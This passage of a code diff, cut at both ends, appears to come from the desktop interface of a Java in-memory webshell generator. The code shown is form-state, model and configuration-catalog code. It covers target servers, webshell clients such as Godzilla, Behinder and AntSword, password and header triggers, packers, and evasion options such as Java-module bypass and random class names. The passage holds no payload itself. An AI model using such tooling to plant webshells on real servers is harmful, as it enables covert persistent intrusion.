public List<String> getCommandImplementationClasses() { return catalog.getCommandImplementationClasses(); }
|
||||||
|
|
||||||
|
public void setServer(String server) {
|
||||||
|
state.setServer(server);
|
||||||
|
reconcileAfterServerChange(false);
|
||||||
|
reconcilePackerSelection();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setServerVersion(String version) { state.setServerVersion(version); }
|
||||||
|
|
||||||
|
public void setTargetJdkVersion(String value) {
|
||||||
|
state.setTargetJdkVersion(value);
|
||||||
|
try {
|
||||||
|
state.setByPassJavaModule(Integer.parseInt(value) >= 53);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setShellTool(String tool) {
|
||||||
|
handleShellToolChange(tool);
|
||||||
|
reconcilePackerSelection();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setShellType(String shellType) {
|
||||||
|
state.setShellType(shellType);
|
||||||
|
state.setUrlPattern("");
|
||||||
|
reconcilePackerSelection();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setUrlPattern(String urlPattern) { state.setUrlPattern(urlPattern); }
|
||||||
|
public void setDebug(boolean value) { state.setDebug(value); }
|
||||||
|
public void setProbe(boolean value) { state.setProbe(value); }
|
||||||
|
public void setByPassJavaModule(boolean value) { state.setByPassJavaModule(value); }
|
||||||
|
public void setLambdaSuffix(boolean value) { state.setLambdaSuffix(value); }
|
||||||
|
public void setShrink(boolean value) { state.setShrink(value); }
|
||||||
|
public void setStaticInitialize(boolean value) { state.setStaticInitialize(value); }
|
||||||
|
|
||||||
|
public void setGodzillaPass(String v) { state.setGodzillaPass(v); }
|
||||||
|
public void setGodzillaKey(String v) { state.setGodzillaKey(v); }
|
||||||
|
public void setBehinderPass(String v) { state.setBehinderPass(v); }
|
||||||
|
public void setAntSwordPass(String v) { state.setAntSwordPass(v); }
|
||||||
|
public void setCommandParamName(String v) { state.setCommandParamName(v); }
|
||||||
|
public void setCommandTemplate(String v) { state.setCommandTemplate(v); }
|
||||||
|
public void setHeaderName(String v) { state.setHeaderName(v); }
|
||||||
|
public void setHeaderValue(String v) { state.setHeaderValue(v); }
|
||||||
|
public void setShellClassBase64(String v) { state.setShellClassBase64(v); }
|
||||||
|
public void setEncryptor(String v) { state.setEncryptor(v); }
|
||||||
|
public void setImplementationClass(String v) { state.setImplementationClass(v); }
|
||||||
|
|
||||||
|
public void setShellClassName(String v) {
|
||||||
|
state.setShellClassName(v);
|
||||||
|
autoDisableRandomIfManualNames();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setInjectorClassName(String v) {
|
||||||
|
state.setInjectorClassName(v);
|
||||||
|
autoDisableRandomIfManualNames();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setRandomClassName(boolean checked) {
|
||||||
|
state.setRandomClassName(checked);
|
||||||
|
if (checked) {
|
||||||
|
state.setSavedShellClassName(state.getShellClassName());
|
||||||
|
state.setSavedInjectorClassName(state.getInjectorClassName());
|
||||||
|
state.setShellClassName("");
|
||||||
|
state.setInjectorClassName("");
|
||||||
|
} else {
|
||||||
|
state.setShellClassName(state.getSavedShellClassName());
|
||||||
|
state.setInjectorClassName(state.getSavedInjectorClassName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setCustomInputMode(String mode) { state.setCustomInputMode(mode); }
|
||||||
|
|
||||||
|
public void setPacker(String packerName) {
|
||||||
|
state.setPackingMethod(packerName);
|
||||||
|
resetPackerCustomConfigToDefaults();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setPackerCustomField(String key, Object value) {
|
||||||
|
if (value == null) {
|
||||||
|
state.getPackerCustomConfig().remove(key);
|
||||||
|
} else {
|
||||||
|
state.getPackerCustomConfig().put(key, value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Map<String, Object> getPackerCustomConfig() { return state.getPackerCustomConfig(); }
|
||||||
|
|
||||||
|
public boolean isUrlPatternVisible() {
|
||||||
|
return validator.needsUrlPattern(state.getShellType());
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isCommandHeaderVisible() {
|
||||||
|
return "BypassNginxWebSocket".equals(state.getShellType()) || "BypassNginxJakartaWebSocket".equals(state.getShellType());
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isProxyHeaderVisible() { return isCommandHeaderVisible(); }
|
||||||
|
|
||||||
|
public boolean isCommandParamVisible() {
|
||||||
|
return state.getShellType() == null || !state.getShellType().contains("WebSocket");
|
||||||
|
}
|
||||||
|
|
||||||
|
public MemShellValidator.Result validate() { return validator.validate(state); }
|
||||||
|
|
||||||
|
private void reconcileAfterServerChange(boolean initial) {
|
||||||
|
List<String> serverVersions = getServerVersionOptions();
|
||||||
|
if (!serverVersions.contains(state.getServerVersion())) {
|
||||||
|
state.setServerVersion(serverVersions.get(0));
|
||||||
|
}
|
||||||
|
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||||
|
if (toolMap == null || toolMap.isEmpty()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
List<String> toolKeys = new ArrayList<>(toolMap.keySet());
|
||||||
|
String currentTool = state.getShellTool();
|
||||||
|
String nextTool = toolMap.containsKey(currentTool) ? currentTool : toolKeys.get(0);
|
||||||
|
state.setShellTool(nextTool);
|
||||||
|
|
||||||
|
String currentTargetJdk = state.getTargetJdkVersion();
|
||||||
|
int currentJdk = parseInt(currentTargetJdk, 50);
|
||||||
|
boolean raise = ("SpringWebFlux".equals(state.getServer()) || "XXLJOB".equals(state.getServer())) && currentJdk <= 52;
|
||||||
|
state.setTargetJdkVersion(raise ? "52" : "50");
|
||||||
|
state.setByPassJavaModule(parseInt(state.getTargetJdkVersion(), 50) >= 53);
|
||||||
|
if (!initial) {
|
||||||
|
state.setUrlPattern("");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!serverVersions.contains(state.getServerVersion())) {
|
||||||
|
state.setServerVersion(serverVersions.get(0));
|
||||||
|
}
|
||||||
|
ensureShellTypeValidForCurrentTool();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ensureShellTypeValidForCurrentTool() {
|
||||||
|
List<String> shellTypes = getShellTypesForCurrentTool();
|
||||||
|
if (shellTypes.isEmpty()) {
|
||||||
|
state.setShellType("");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!shellTypes.contains(state.getShellType())) {
|
||||||
|
state.setShellType(shellTypes.get(0));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void handleShellToolChange(String value) {
|
||||||
|
if (value == null || value.trim().isEmpty()) return;
|
||||||
|
|
||||||
|
state.setUrlPattern("");
|
||||||
|
state.setShellClassName("");
|
||||||
|
state.setInjectorClassName("");
|
||||||
|
|
||||||
|
if (ShellTool.Command.equals(value)) {
|
||||||
|
state.setCommandParamName("");
|
||||||
|
state.setImplementationClass("");
|
||||||
|
state.setEncryptor("");
|
||||||
|
} else if (ShellTool.Godzilla.equals(value)) {
|
||||||
|
state.setGodzillaKey("");
|
||||||
|
state.setGodzillaPass("");
|
||||||
|
state.setHeaderName("User-Agent");
|
||||||
|
state.setHeaderValue("");
|
||||||
|
} else if (ShellTool.Behinder.equals(value)) {
|
||||||
|
state.setBehinderPass("");
|
||||||
|
state.setHeaderName("User-Agent");
|
||||||
|
state.setHeaderValue("");
|
||||||
|
} else if (ShellTool.Suo5.equals(value) || ShellTool.Suo5v2.equals(value)) {
|
||||||
|
state.setHeaderName("User-Agent");
|
||||||
|
state.setHeaderValue("");
|
||||||
|
} else if (ShellTool.AntSword.equals(value)) {
|
||||||
|
state.setAntSwordPass("");
|
||||||
|
state.setHeaderName("User-Agent");
|
||||||
|
state.setHeaderValue("");
|
||||||
|
} else if (ShellTool.NeoreGeorg.equals(value)) {
|
||||||
|
state.setHeaderName("Referer");
|
||||||
|
state.setHeaderValue("");
|
||||||
|
} else if (ShellTool.Custom.equals(value)) {
|
||||||
|
state.setShellClassBase64("");
|
||||||
|
} else if (ShellTool.Proxy.equals(value)) {
|
||||||
|
state.setHeaderName("User-Agent");
|
||||||
|
state.setHeaderValue("");
|
||||||
|
}
|
||||||
|
|
||||||
|
state.setShellTool(value);
|
||||||
|
ensureShellTypeValidForCurrentTool();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void reconcilePackerSelection() {
|
||||||
|
List<PackerEntryModel> filtered = getFilteredPackers();
|
||||||
|
if (filtered.isEmpty()) {
|
||||||
|
state.setPackingMethod("");
|
||||||
|
state.getPackerCustomConfig().clear();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
boolean exists = filtered.stream().anyMatch(p -> p.getName().equals(state.getPackingMethod()));
|
||||||
|
if (!exists) {
|
||||||
|
state.setPackingMethod(filtered.get(0).getName());
|
||||||
|
resetPackerCustomConfigToDefaults();
|
||||||
|
} else if (state.getPackerCustomConfig().isEmpty()) {
|
||||||
|
resetPackerCustomConfigToDefaults();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void resetPackerCustomConfigToDefaults() {
|
||||||
|
state.getPackerCustomConfig().clear();
|
||||||
|
PackerEntryModel selected = getSelectedPackerEntry();
|
||||||
|
if (selected != null) {
|
||||||
|
state.getPackerCustomConfig().putAll(selected.getDefaultConfig());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void autoDisableRandomIfManualNames() {
|
||||||
|
if (state.isRandomClassName() && (!state.getShellClassName().trim().isEmpty() || !state.getInjectorClassName().trim().isEmpty())) {
|
||||||
|
state.setRandomClassName(false);
|
||||||
|
}
|
||||||
|
if (!state.isRandomClassName()) {
|
||||||
|
state.setSavedShellClassName(state.getShellClassName());
|
||||||
|
state.setSavedInjectorClassName(state.getInjectorClassName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int parseInt(String v, int d) {
|
||||||
|
try {
|
||||||
|
return Integer.parseInt(v);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return d;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+25
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.model;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
|
||||||
|
public class DesktopMemShellGenerateResult {
|
||||||
|
private final MemShellResult memShellResult;
|
||||||
|
private final String packMethod;
|
||||||
|
private final String packResult;
|
||||||
|
private final boolean jarOutput;
|
||||||
|
private final boolean agentOutput;
|
||||||
|
|
||||||
|
public DesktopMemShellGenerateResult(MemShellResult memShellResult, String packMethod, String packResult) {
|
||||||
|
this.memShellResult = memShellResult;
|
||||||
|
this.packMethod = packMethod;
|
||||||
|
this.packResult = packResult;
|
||||||
|
this.jarOutput = packMethod != null && packMethod.endsWith("Jar");
|
||||||
|
this.agentOutput = packMethod != null && packMethod.startsWith("Agent");
|
||||||
|
}
|
||||||
|
|
||||||
|
public MemShellResult getMemShellResult() { return memShellResult; }
|
||||||
|
public String getPackMethod() { return packMethod; }
|
||||||
|
public String getPackResult() { return packResult; }
|
||||||
|
public boolean isJarOutput() { return jarOutput; }
|
||||||
|
public boolean isAgentOutput() { return agentOutput; }
|
||||||
|
}
|
||||||
+145
@@ -0,0 +1,145 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.model;
|
||||||
|
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class MemShellFormState {
|
||||||
|
private String server = "Tomcat";
|
||||||
|
private String serverVersion = "Unknown";
|
||||||
|
private String targetJdkVersion = "50";
|
||||||
|
private boolean debug;
|
||||||
|
private boolean byPassJavaModule;
|
||||||
|
private boolean probe;
|
||||||
|
private boolean lambdaSuffix;
|
||||||
|
private boolean shrink = true;
|
||||||
|
private boolean staticInitialize = true;
|
||||||
|
|
||||||
|
private String shellTool = "Godzilla";
|
||||||
|
private String shellType = "Listener";
|
||||||
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
|
private String shellClassName = "";
|
||||||
|
private String injectorClassName = "";
|
||||||
|
|
||||||
|
private String godzillaPass = "";
|
||||||
|
private String godzillaKey = "";
|
||||||
|
private String behinderPass = "";
|
||||||
|
private String antSwordPass = "";
|
||||||
|
private String commandParamName = "";
|
||||||
|
private String commandTemplate = "";
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
private String headerValue = "";
|
||||||
|
private String shellClassBase64 = "";
|
||||||
|
private String encryptor = "";
|
||||||
|
private String implementationClass = "";
|
||||||
|
|
||||||
|
private String packingMethod = "";
|
||||||
|
private final Map<String, Object> packerCustomConfig = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
private boolean randomClassName = true;
|
||||||
|
private String customInputMode = "base64";
|
||||||
|
|
||||||
|
private String savedShellClassName = "";
|
||||||
|
private String savedInjectorClassName = "";
|
||||||
|
|
||||||
|
public MemShellFormState copy() {
|
||||||
|
MemShellFormState c = new MemShellFormState();
|
||||||
|
c.server = server;
|
||||||
|
c.serverVersion = serverVersion;
|
||||||
|
c.targetJdkVersion = targetJdkVersion;
|
||||||
|
c.debug = debug;
|
||||||
|
c.byPassJavaModule = byPassJavaModule;
|
||||||
|
c.probe = probe;
|
||||||
|
c.lambdaSuffix = lambdaSuffix;
|
||||||
|
c.shrink = shrink;
|
||||||
|
c.staticInitialize = staticInitialize;
|
||||||
|
c.shellTool = shellTool;
|
||||||
|
c.shellType = shellType;
|
||||||
|
c.urlPattern = urlPattern;
|
||||||
|
c.shellClassName = shellClassName;
|
||||||
|
c.injectorClassName = injectorClassName;
|
||||||
|
c.godzillaPass = godzillaPass;
|
||||||
|
c.godzillaKey = godzillaKey;
|
||||||
|
c.behinderPass = behinderPass;
|
||||||
|
c.antSwordPass = antSwordPass;
|
||||||
|
c.commandParamName = commandParamName;
|
||||||
|
c.commandTemplate = commandTemplate;
|
||||||
|
c.headerName = headerName;
|
||||||
|
c.headerValue = headerValue;
|
||||||
|
c.shellClassBase64 = shellClassBase64;
|
||||||
|
c.encryptor = encryptor;
|
||||||
|
c.implementationClass = implementationClass;
|
||||||
|
c.packingMethod = packingMethod;
|
||||||
|
c.packerCustomConfig.putAll(packerCustomConfig);
|
||||||
|
c.randomClassName = randomClassName;
|
||||||
|
c.customInputMode = customInputMode;
|
||||||
|
c.savedShellClassName = savedShellClassName;
|
||||||
|
c.savedInjectorClassName = savedInjectorClassName;
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Map<String, Object> getPackerCustomConfig() { return packerCustomConfig; }
|
||||||
|
|
||||||
|
public String getServer() { return server; }
|
||||||
|
public void setServer(String server) { this.server = server; }
|
||||||
|
public String getServerVersion() { return serverVersion; }
|
||||||
|
public void setServerVersion(String serverVersion) { this.serverVersion = serverVersion; }
|
||||||
|
public String getTargetJdkVersion() { return targetJdkVersion; }
|
||||||
|
public void setTargetJdkVersion(String targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; }
|
||||||
|
public boolean isDebug() { return debug; }
|
||||||
|
public void setDebug(boolean debug) { this.debug = debug; }
|
||||||
|
public boolean isByPassJavaModule() { return byPassJavaModule; }
|
||||||
|
public void setByPassJavaModule(boolean byPassJavaModule) { this.byPassJavaModule = byPassJavaModule; }
|
||||||
|
public boolean isProbe() { return probe; }
|
||||||
|
public void setProbe(boolean probe) { this.probe = probe; }
|
||||||
|
public boolean isLambdaSuffix() { return lambdaSuffix; }
|
||||||
|
public void setLambdaSuffix(boolean lambdaSuffix) { this.lambdaSuffix = lambdaSuffix; }
|
||||||
|
public boolean isShrink() { return shrink; }
|
||||||
|
public void setShrink(boolean shrink) { this.shrink = shrink; }
|
||||||
|
public boolean isStaticInitialize() { return staticInitialize; }
|
||||||
|
public void setStaticInitialize(boolean staticInitialize) { this.staticInitialize = staticInitialize; }
|
||||||
|
public String getShellTool() { return shellTool; }
|
||||||
|
public void setShellTool(String shellTool) { this.shellTool = shellTool; }
|
||||||
|
public String getShellType() { return shellType; }
|
||||||
|
public void setShellType(String shellType) { this.shellType = shellType; }
|
||||||
|
public String getUrlPattern() { return urlPattern; }
|
||||||
|
public void setUrlPattern(String urlPattern) { this.urlPattern = urlPattern; }
|
||||||
|
public String getShellClassName() { return shellClassName; }
|
||||||
|
public void setShellClassName(String shellClassName) { this.shellClassName = shellClassName == null ? "" : shellClassName; }
|
||||||
|
public String getInjectorClassName() { return injectorClassName; }
|
||||||
|
public void setInjectorClassName(String injectorClassName) { this.injectorClassName = injectorClassName == null ? "" : injectorClassName; }
|
||||||
|
public String getGodzillaPass() { return godzillaPass; }
|
||||||
|
public void setGodzillaPass(String godzillaPass) { this.godzillaPass = nv(godzillaPass); }
|
||||||
|
public String getGodzillaKey() { return godzillaKey; }
|
||||||
|
public void setGodzillaKey(String godzillaKey) { this.godzillaKey = nv(godzillaKey); }
|
||||||
|
public String getBehinderPass() { return behinderPass; }
|
||||||
|
public void setBehinderPass(String behinderPass) { this.behinderPass = nv(behinderPass); }
|
||||||
|
public String getAntSwordPass() { return antSwordPass; }
|
||||||
|
public void setAntSwordPass(String antSwordPass) { this.antSwordPass = nv(antSwordPass); }
|
||||||
|
public String getCommandParamName() { return commandParamName; }
|
||||||
|
public void setCommandParamName(String commandParamName) { this.commandParamName = nv(commandParamName); }
|
||||||
|
public String getCommandTemplate() { return commandTemplate; }
|
||||||
|
public void setCommandTemplate(String commandTemplate) { this.commandTemplate = nv(commandTemplate); }
|
||||||
|
public String getHeaderName() { return headerName; }
|
||||||
|
public void setHeaderName(String headerName) { this.headerName = nv(headerName); }
|
||||||
|
public String getHeaderValue() { return headerValue; }
|
||||||
|
public void setHeaderValue(String headerValue) { this.headerValue = nv(headerValue); }
|
||||||
|
public String getShellClassBase64() { return shellClassBase64; }
|
||||||
|
public void setShellClassBase64(String shellClassBase64) { this.shellClassBase64 = nv(shellClassBase64); }
|
||||||
|
public String getEncryptor() { return encryptor; }
|
||||||
|
public void setEncryptor(String encryptor) { this.encryptor = nv(encryptor); }
|
||||||
|
public String getImplementationClass() { return implementationClass; }
|
||||||
|
public void setImplementationClass(String implementationClass) { this.implementationClass = nv(implementationClass); }
|
||||||
|
public String getPackingMethod() { return packingMethod; }
|
||||||
|
public void setPackingMethod(String packingMethod) { this.packingMethod = nv(packingMethod); }
|
||||||
|
public boolean isRandomClassName() { return randomClassName; }
|
||||||
|
public void setRandomClassName(boolean randomClassName) { this.randomClassName = randomClassName; }
|
||||||
|
public String getCustomInputMode() { return customInputMode; }
|
||||||
|
public void setCustomInputMode(String customInputMode) { this.customInputMode = nv(customInputMode); }
|
||||||
|
public String getSavedShellClassName() { return savedShellClassName; }
|
||||||
|
public void setSavedShellClassName(String savedShellClassName) { this.savedShellClassName = nv(savedShellClassName); }
|
||||||
|
public String getSavedInjectorClassName() { return savedInjectorClassName; }
|
||||||
|
public void setSavedInjectorClassName(String savedInjectorClassName) { this.savedInjectorClassName = nv(savedInjectorClassName); }
|
||||||
|
|
||||||
|
private static String nv(String v) { return v == null ? "" : v; }
|
||||||
|
}
|
||||||
+15
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.model;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class PackerCategoryModel {
|
||||||
|
private String name;
|
||||||
|
private final List<PackerEntryModel> packers = new ArrayList<>();
|
||||||
|
|
||||||
|
public PackerCategoryModel() {}
|
||||||
|
public PackerCategoryModel(String name) { this.name = name; }
|
||||||
|
public String getName() { return name; }
|
||||||
|
public void setName(String name) { this.name = name; }
|
||||||
|
public List<PackerEntryModel> getPackers() { return packers; }
|
||||||
|
}
|
||||||
+30
@@ -0,0 +1,30 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.model;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class PackerEntryModel {
|
||||||
|
private String categoryName;
|
||||||
|
private String name;
|
||||||
|
private String outputKind;
|
||||||
|
private boolean categoryAnchor;
|
||||||
|
private final List<PackerSchemaFieldModel> fields = new ArrayList<>();
|
||||||
|
private final Map<String, Object> defaultConfig = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
public String getCategoryName() { return categoryName; }
|
||||||
|
public void setCategoryName(String categoryName) { this.categoryName = categoryName; }
|
||||||
|
public String getName() { return name; }
|
||||||
|
public void setName(String name) { this.name = name; }
|
||||||
|
public String getOutputKind() { return outputKind; }
|
||||||
|
public void setOutputKind(String outputKind) { this.outputKind = outputKind; }
|
||||||
|
public boolean isCategoryAnchor() { return categoryAnchor; }
|
||||||
|
public void setCategoryAnchor(boolean categoryAnchor) { this.categoryAnchor = categoryAnchor; }
|
||||||
|
public List<PackerSchemaFieldModel> getFields() { return fields; }
|
||||||
|
public Map<String, Object> getDefaultConfig() { return defaultConfig; }
|
||||||
|
|
||||||
|
public String displayLabel() {
|
||||||
|
return categoryName == null || categoryName.equals(name) ? name : categoryName + " / " + name;
|
||||||
|
}
|
||||||
|
}
|
||||||
+43
@@ -0,0 +1,43 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.model;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class PackerSchemaFieldModel {
|
||||||
|
public static class Option {
|
||||||
|
private String value;
|
||||||
|
private String label;
|
||||||
|
|
||||||
|
public Option() {}
|
||||||
|
public Option(String value, String label) {
|
||||||
|
this.value = value;
|
||||||
|
this.label = label;
|
||||||
|
}
|
||||||
|
public String getValue() { return value; }
|
||||||
|
public void setValue(String value) { this.value = value; }
|
||||||
|
public String getLabel() { return label; }
|
||||||
|
public void setLabel(String label) { this.label = label; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private String key;
|
||||||
|
private String type;
|
||||||
|
private boolean required;
|
||||||
|
private Object defaultValue;
|
||||||
|
private String description;
|
||||||
|
private String descriptionI18nKey;
|
||||||
|
private final List<Option> options = new ArrayList<>();
|
||||||
|
|
||||||
|
public String getKey() { return key; }
|
||||||
|
public void setKey(String key) { this.key = key; }
|
||||||
|
public String getType() { return type; }
|
||||||
|
public void setType(String type) { this.type = type; }
|
||||||
|
public boolean isRequired() { return required; }
|
||||||
|
public void setRequired(boolean required) { this.required = required; }
|
||||||
|
public Object getDefaultValue() { return defaultValue; }
|
||||||
|
public void setDefaultValue(Object defaultValue) { this.defaultValue = defaultValue; }
|
||||||
|
public String getDescription() { return description; }
|
||||||
|
public void setDescription(String description) { this.description = description; }
|
||||||
|
public String getDescriptionI18nKey() { return descriptionI18nKey; }
|
||||||
|
public void setDescriptionI18nKey(String descriptionI18nKey) { this.descriptionI18nKey = descriptionI18nKey; }
|
||||||
|
public List<Option> getOptions() { return options; }
|
||||||
|
}
|
||||||
+127
@@ -0,0 +1,127 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.service;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.packer.spec.PackerFieldSchema;
|
||||||
|
import com.reajason.javaweb.packer.spec.PackerOptionValue;
|
||||||
|
import com.reajason.javaweb.packer.spec.PackerSchema;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
public class ConfigCatalogService {
|
||||||
|
|
||||||
|
public static class ConfigCatalog {
|
||||||
|
private final Map<String, List<String>> servers;
|
||||||
|
private final Map<String, Map<String, List<String>>> core;
|
||||||
|
private final List<PackerCategoryModel> packers;
|
||||||
|
private final List<String> commandEncryptors;
|
||||||
|
private final List<String> commandImplementationClasses;
|
||||||
|
|
||||||
|
public ConfigCatalog(Map<String, List<String>> servers,
|
||||||
|
Map<String, Map<String, List<String>>> core,
|
||||||
|
List<PackerCategoryModel> packers,
|
||||||
|
List<String> commandEncryptors,
|
||||||
|
List<String> commandImplementationClasses) {
|
||||||
|
this.servers = servers;
|
||||||
|
this.core = core;
|
||||||
|
this.packers = packers;
|
||||||
|
this.commandEncryptors = commandEncryptors;
|
||||||
|
this.commandImplementationClasses = commandImplementationClasses;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Map<String, List<String>> getServers() { return servers; }
|
||||||
|
public Map<String, Map<String, List<String>>> getCore() { return core; }
|
||||||
|
public List<PackerCategoryModel> getPackers() { return packers; }
|
||||||
|
public List<String> getCommandEncryptors() { return commandEncryptors; }
|
||||||
|
public List<String> getCommandImplementationClasses() { return commandImplementationClasses; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public ConfigCatalog load() {
|
||||||
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
|
Map<String, Map<String, List<String>>> core = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
for (String serverName : ServerFactory.getSupportedServers()) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(serverName);
|
||||||
|
if (server == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
List<String> shellTypes = new ArrayList<>(server.getShellInjectorMapping().getSupportedShellTypes());
|
||||||
|
servers.put(serverName, shellTypes);
|
||||||
|
|
||||||
|
Map<String, List<String>> toolMap = new LinkedHashMap<>();
|
||||||
|
for (String tool : server.getSupportedShellTools()) {
|
||||||
|
List<String> types = new ArrayList<>(server.getSupportedShellTypes(tool));
|
||||||
|
if (!types.isEmpty()) {
|
||||||
|
toolMap.put(tool, types);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
core.put(serverName, toolMap);
|
||||||
|
}
|
||||||
|
|
||||||
|
List<PackerCategoryModel> packerModels = new ArrayList<>();
|
||||||
|
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
|
||||||
|
PackerCategoryModel category = new PackerCategoryModel(entry.getKey());
|
||||||
|
for (Packers packerEnum : entry.getValue()) {
|
||||||
|
PackerEntryModel p = new PackerEntryModel();
|
||||||
|
p.setCategoryName(entry.getKey());
|
||||||
|
p.setName(packerEnum.name());
|
||||||
|
p.setOutputKind(packerEnum.getOutputKind());
|
||||||
|
p.setCategoryAnchor(packerEnum.hasChildren());
|
||||||
|
PackerSchema schema = packerEnum.getSchema();
|
||||||
|
if (schema != null) {
|
||||||
|
p.getDefaultConfig().putAll(schema.getDefaultConfig());
|
||||||
|
for (PackerFieldSchema field : schema.getFields()) {
|
||||||
|
PackerSchemaFieldModel f = new PackerSchemaFieldModel();
|
||||||
|
f.setKey(field.getKey());
|
||||||
|
f.setType(field.getType() == null ? null : field.getType().name());
|
||||||
|
f.setRequired(field.isRequired());
|
||||||
|
f.setDefaultValue(field.getDefaultValue());
|
||||||
|
f.setDescription(field.getDescription());
|
||||||
|
f.setDescriptionI18nKey(field.getDescriptionI18nKey());
|
||||||
|
for (PackerOptionValue option : field.getOptions()) {
|
||||||
|
f.getOptions().add(new PackerSchemaFieldModel.Option(option.getValue(), option.getLabel()));
|
||||||
|
}
|
||||||
|
p.getFields().add(f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
category.getPackers().add(p);
|
||||||
|
}
|
||||||
|
packerModels.add(category);
|
||||||
|
}
|
||||||
|
|
||||||
|
List<String> encryptors = Arrays.stream(CommandConfig.Encryptor.values()).map(Enum::name).collect(Collectors.toList());
|
||||||
|
List<String> impls = Arrays.stream(CommandConfig.ImplementationClass.values()).map(Enum::name).collect(Collectors.toList());
|
||||||
|
|
||||||
|
return new ConfigCatalog(servers, core, packerModels, encryptors, impls);
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<String> getServerVersionOptions(String server) {
|
||||||
|
if ("TongWeb".equals(server)) {
|
||||||
|
return Arrays.asList("6", "7", "8");
|
||||||
|
}
|
||||||
|
if ("Jetty".equals(server)) {
|
||||||
|
return Arrays.asList("6", "7+", "12");
|
||||||
|
}
|
||||||
|
return Collections.singletonList("Unknown");
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<String> getTargetJdkOptions() {
|
||||||
|
return Arrays.asList("50", "52", "53", "55", "61", "65");
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTargetJdkLabel(String value) {
|
||||||
|
if ("50".equals(value)) return "Java6";
|
||||||
|
if ("52".equals(value)) return "Java8";
|
||||||
|
if ("53".equals(value)) return "Java9";
|
||||||
|
if ("55".equals(value)) return "Java11";
|
||||||
|
if ("61".equals(value)) return "Java17";
|
||||||
|
if ("65".equals(value)) return "Java21";
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.service;
|
||||||
|
|
||||||
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
public class CustomClassNameParser {
|
||||||
|
public String parseClassNameFromBase64(String classBase64) {
|
||||||
|
if (classBase64 == null || classBase64.trim().isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("class base64 is empty");
|
||||||
|
}
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(classBase64);
|
||||||
|
return parseClassName(bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String parseClassName(byte[] classBytes) {
|
||||||
|
